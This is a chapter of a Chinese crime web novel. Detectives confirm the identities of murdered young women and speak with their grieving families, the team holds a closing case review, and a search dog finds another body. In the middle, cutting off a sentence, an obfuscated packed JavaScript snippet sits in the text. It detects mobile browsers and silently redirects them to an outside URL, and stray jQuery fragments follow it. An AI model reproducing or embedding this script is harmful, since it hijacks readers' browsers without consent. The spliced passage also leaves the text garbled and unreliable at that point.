91. 记得

作品:《她的求救,写在我的昨天

    陈嘉欣的爷爷是接到电话后,第二天一早又来的。这次他没拎空瓶子,手里攥着一个塑料袋,里面装着一把旧牙刷和一个发黄的枕头套。


    “这个是嘉欣之前用过的牙刷,枕头套也是她的,我一直没舍得扔。”他把东西放在桌上,手微微发抖,“电视上说,这个能验什么—DN什么—”


    “DNA。”蔡星澜接了一句,声音放得很轻。


    “对,就这个。”爷爷点点头,又往口袋里摸了摸,掏出一张叠得整整齐齐的纸条,“还有这个,嘉欣的电话号码。我打过好多次,打不通。后来欠费了,就再也打不通了。”


    蔡星澜接过纸条,纸已经磨得发软,边角都起了毛。上面用圆珠笔写着一串数字,字迹歪歪扭扭,但每个数字都写得格外用力,像是怕自己看不清。


    “爷爷,别着急走。”蔡星澜拉过一把椅子,“电话留给我们一个,好联系。总归要有个结果,您也好安心。”


    “好好好。”爷爷连说了三个好,又报了串数字,这次是他家里座机的号码,“我跟你奶奶都在家,哪儿都不去。你们打这个就能找到我。”


    他说完站起来,脚步比上次稳当了些,走到门口又回头:“那个……嘉欣的事,麻烦你们了。”


    蔡星澜送他到门口,看着他佝偻的背影慢慢走远。


    韩墨是下午来的,文件夹往桌上一搁,表情比平时还要严肃:“那具没有对应的尸体,确认了,是陈嘉欣。”


    齐雨欣从电脑后面探出头来:“我这边和韩墨那边结合过了,通过颅面复原技术重建的样貌,跟陈嘉欣生前的照片比对,百分之九十重叠。”她顿了顿,又补了一句,“爷爷拿来的牙刷和枕头套,DNA也完全吻合。”


    “还有,”韩墨翻开文件夹,“陈嘉欣右侧膝盖髌骨有一处陈旧性骨折愈合痕迹,应该是小时候摔的。家属那边确认了,她初中时摔过一跤,膝盖磕在台阶上,从此以后走路稍微有点跛,不太明显,但仔细看能看出来。尸检结果完全符合。”


    办公室里安静了一会儿。


    蔡星澜和邓婉仪第二天一早就去了爷爷家。巷子很窄,两边是老式的居民楼,楼道的灯坏了,她们摸着扶手上了三楼,敲开那扇掉漆的防盗门。


    爷爷开的门。他今天穿了一件干净的衬衫,领口扣得整整齐齐,像是知道有人要来。他手里还攥着两个空塑料瓶—他大概随时都在捡瓶子。


    “进来坐,进来坐。”他把门推开,朝屋里喊了一声,“老婆子,来人了。”


    奶奶从里屋出来,头发全白了,走路慢慢悠悠的,一只手扶着墙。她看着蔡星澜和邓婉仪,嘴唇动了动,什么也没说出来。


    客厅很小,一张旧藤椅,一张方桌,几把塑料凳子。墙上挂着两个相框,一个黑白的老照片,是一对年轻男女,大概是他俩年轻时候的照片;另一个是彩色的,一个二十出头的女孩,短头发,笑得很开心—是陈嘉欣。


    蔡星澜坐下来,用了最慢的语速,把事情一点一点地说清楚。哪些是已经确认的,哪些是还在查的,哪些可能永远都不会有答案了。


    爷爷坐在那张旧藤椅上,一直没说话。


    蔡星澜说完之后,屋子里安静了很久。奶奶站在旁边,眼泪顺着脸上的皱纹往下流淌,一滴一滴的,她也不擦。


    过了很久,爷爷问了一句:“她疼不疼?”


    声音很轻,像是怕吵醒什么人。


    蔡星澜没有回答。她张了张嘴,发现自己说不出话。


    邓婉仪在旁边别过脸去。


    爷爷没有再问。他低下头,看着手里的两个空瓶子,过了好一会儿,才又说了一句:“我那天去派出所,就是想问问有没有人见过她。我在家里坐了好多天,坐不住了,就想出去问问。后来我糊涂了,到了那儿忘了自己要说什么。”他顿了顿,声音更低了,“我要是没糊涂就好了。”


    蔡星澜想说这不是您的错。但她知道,说了没有用。他会一直这样想。会想一辈子。


    姜磊在医院里昏迷了三天才醒过来。他浑身缠着绷带,脸上也有伤,说话断断续续的,像是一个字一个字往外挤。杨光辉和从文杰去看他的时候,他断断续续地把能说的都说了—陈明浩怎么让他“帮忙”,怎么教他说话,怎么让他去那些便利店附近蹲着,怎么让他“不要告诉任何人”。


    他什么都不知道。他以为自己在帮朋友的忙,以为陈明浩总有一天会帮他澄清工厂的事。


    他什么都不知道,但却成为了朋友的助手。


    姜洁是第二天来的。她在病房门口站了很久。护士经过的时候看了她一眼,她才深吸一口气,推门进去。


    姜磊躺在床上,脸上缠着绷带,只露出一双眼睛。那双眼睛看见她的时候,眨了一下,然后就不动了。


    姜洁在床边坐下,把带来的水果放在床头柜上。她没有说话,姜磊也没有说话。病房里只有心电监护仪滴滴的声音。


    临走的时候,她站起来,走到门口,停下来,没有回头。


    “你为什么不早告诉我?”


    声音不大,但在这间安静的病房里,每个字都清清楚楚。


    姜磊没有回答。


    他的眼泪顺着脸颊流下来,流进绷带里。绷带湿了一块,又湿了一块。他还是没有说话。


    姜洁走出医院,站在门口的台阶上,蹲下来,把脸埋在膝盖里,哭了很久。有人经过的时候看了她一眼,脚步顿了顿,又走了。


    她想起表哥以前的样子。帮她拎重东西,从六楼拎到一楼,气都不喘。给她钱让她寄回家,说“等以后挣大钱了请你吃好的”。过年的时候给她发短信,错别字一大堆,但每一句后面都加个感叹号,好像什么事都值得高兴。


    这样的哥哥却成了帮凶,哥哥变了。


    或者说,哥哥早就被利用完了。


    周敏的父母是第三天来的。周敏的母亲坐在派出所门口的水泥台阶上,谁劝都不走。邓婉仪给她端了杯水,她接过来,没有喝,就捧在手里。


    “我就是想坐一会儿。”她说,眼睛看着对面的路口,“她以前下班就从这条路回来。我在这儿等过她很多次。夏天的时候我们经常一起去买冰淇淋吃,冬天的时候我给她带热豆浆。”


    她说这些的时候没有哭,声音很平,像是在说一件每天都会发生的事。


    周敏的父亲站在旁边,一直没有说话。过了很久,他抬起头,问了一句:“那个人—陈明浩—会判死刑吗?”


    杨光辉站在旁边,沉默了一会儿:“这个要等法院判。”


    周敏的父亲点了点头,没有再问。


    吴曦的母亲没有来。从文杰去送通知的时候,是她丈夫开的门。客厅里很暗,窗帘拉得严严实实,电视机开着,声音调得很低。他指了指卧室的门,压低声音说:“她自从知道消息后,就没出过那个门。”


    从文杰把文件放在茶几上,站了一会儿,不知道该说什么。最后只说了一句:“节哀。”


    丈夫点了点头,送他到门口,说:“她以前最爱热闹,现在连窗帘都不让拉开。”


    戚嘉茵的家人是从外地赶来的。她一个人在这个城市打工,已经好几年没回家过年了。她母亲在派出所里哭得站不住,被两个女警扶着坐到椅子上。她父亲站在旁边,眼眶红红的,但没哭。他只是一遍一遍地重复说着:“她说过年就回来的。她说今年一定回来的。”


    那些还没有找到的女孩,搜救犬还在工作。每天天一亮就出发,天黑透了才回来。


    卡布奇诺也被借调来帮忙了。葛星格每天一早牵着它到集合点,天黑才回家。金毛的鼻子比任何仪器都灵,但它不会说话。它只能蹲下来,用呜咽告诉人:这里有东西。


    葛星格说,它回家之后总是很累,趴在阳台上不动,但第二天一早又会站在门口等她,尾巴摇得飞快。


    案件结束后,专案组开了最后一次总结会。


    会议室不大,白板上还贴着那些照片、地图、时间线,没有来得及


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373511|193854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摘。潘铮站在前面,说了一段很长的话。她把每个人的工作都点了一遍—齐雨欣的熬夜排查、从文杰的外调、喻宇的布控、韩墨的尸检、邓婉仪的心理分析、杨光辉的走访。最后她停了一下,看了看坐在角落里的蔡星澜。


    “最后我要说一件事。”她的声音比刚才低了一些,“那个老人来报案的时候,如果不是星澜记下了那个名字,我们可能到现在都不知道陈嘉欣是谁。”


    会议室里安静了一瞬。


    蔡星澜坐在椅子上,没有说话。她低着头,看着桌上的笔记本。那页纸上,“陈嘉欣”三个字还在,下面画了一道横线。


    她想起那个老人站在门口的样子。佝偻着背,攥着空瓶子,声音洪亮地报出孙女的名字。他不知道自己该不该进来,在门口犹豫了很久。如果那天她正好出去了,如果她当时没有站起来,如果她没有把那个名字写下来—如果他来的时候,办公室里没有人愿意听一个糊涂老头说话—


    “我们以后,”邓婉仪接过话,声音不大但很清楚,“每一个报案都要认真对待。哪怕是看起来糊涂的人,说的话也可能是真的。”


    喻宇在旁边点了点头,补了一句:“还有那只金毛,每一次叫都不是无缘无故的。它比我们早发现了很多东西。”


    杨光辉看了看蔡星澜:“星澜,你说两句?”


    蔡星澜抬起头,想了想,说了一句:“我们有时候太依赖技术了。监控、DNA、银行流水—这些都很重要。但有很多东西,技术看不见。狗能看见。老人能记住。我们得学会听他们说话。”


    说完之后,她又低下头,看了一眼笔记本上的那三个字。


    散会之后,齐雨欣把那页纸撕下来,叠好,塞进自己的笔记本里。


    卡布奇诺被借调来帮忙的第五天,它在和莓小区东侧一片废弃的绿化带里蹲了下来。


    那片绿化带已经被搜过两次了,什么也没发现。但卡布奇诺蹲在那里不动,鼻子冲着地面,尾巴垂着,喉咙里发出低低的呜咽。


    葛星格站在旁边,牵着牵引绳,没有说话。她想起那天晚上狗把她拽到警局门口的样子—它什么都知道,只是说不出来。


    喻宇带着人过来,在狗蹲着的地方往下挖了半米。什么都没有。但狗还是蹲在那里,还是在呜咽。喻宇犹豫了一下,让继续挖。


    又挖了二十公分,铲子碰到了什么东西。


    是个编织袋。里面装着的,已经很难辨认了。


    韩墨后来确认,那是第三个失踪的女孩。


    葛星格站在旁边,看着他们把编织袋取出来,看着韩墨蹲在地上做初步检查。卡布奇诺就蹲在她脚边,安安静静的,尾巴轻轻摇了摇。


    蔡星澜走过来的时候,狗抬起头看了她一眼,尾巴又摇了摇。


    蔡星澜蹲下来,摸了摸金毛的头。


    “谢谢你。”她说。


    声音很轻,不知道是对狗说的,还是对葛星格说的,还是对那个已经不在的人说的。


    最后一场雨过后,云上公寓那片废弃的绿化带被翻整过了。土是新填的,灌木被移走,铺上了一层草皮。小区物业在大门口贴了一张告示,白纸黑字,写着:此处将改建为社区花园,预计十月底完工。


    她想起那些女孩。陈嘉欣,周敏,吴曦,戚嘉茵,还有那些还没有找到的。她们曾经住在这个小区,在这片绿化带附近走过,在便利店里买过东西。


    兜里的手机震动了。


    是邓婉仪发来的消息:“葛星格说金毛最近不叫了,终于消停了。她说它每天就趴在阳台上晒太阳,连楼下有人经过都懒得抬头。”


    她低头打字:“那就好。告诉葛星格,给它加个鸡腿。”


    发完之后,她把手机揣回口袋里,继续往前走。


    手机又震了一下。她掏出来看,是邓婉仪回的消息:“葛星格说,鸡腿已经加了。卡布奇诺吃完舔了舔嘴,又趴回去晒太阳了。”


    她把手机收起来,走进阳光里。